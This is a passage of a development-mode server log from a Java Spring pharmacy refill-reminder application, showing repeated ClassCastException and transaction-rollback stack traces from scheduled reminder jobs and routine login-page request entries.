org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:47:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:09 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:47:09 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:47:09 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:47:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:09 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:09 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:47:10 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:47:10 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:10 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/robots.txt 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:47:11 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:47:11 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:47:11 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 